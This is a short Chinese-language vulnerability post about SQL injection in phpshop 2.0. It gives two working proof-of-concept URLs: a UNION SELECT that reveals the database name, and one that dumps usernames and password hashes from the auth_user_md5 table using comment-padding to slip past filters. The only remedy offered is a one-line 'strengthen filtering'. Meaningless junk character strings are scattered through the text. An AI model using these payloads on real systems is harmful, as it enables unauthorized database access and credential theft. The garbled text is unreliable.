phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
" R) S1 `. @) l* H下载地址 : http://code.google.com/p/phpshop/downloads/list
" O8 Y# T% c' l, K* p! K' ]测试地址: windows 7 / ubuntu

7 |3 p* l5 A2 Y- B" Z$ V
0 p9 x4 D0 `8 k" b! f; d8 p2 c1 R. DSQLi p0c:
' ^5 Z2 q$ e  c3 F: N  E
5 J3 I, b% D* L- o4 M6 _0 z6 [" p==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

( L" Z3 L) L  G/ k6 Fhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
0 N# r- \  R6 ]& v
( ^3 c3 Q8 ?) ?! G3 ?  @修复：
加强过滤
3 k" P) E, r4 A1 c​

7 E, a9 b9 E7 O# \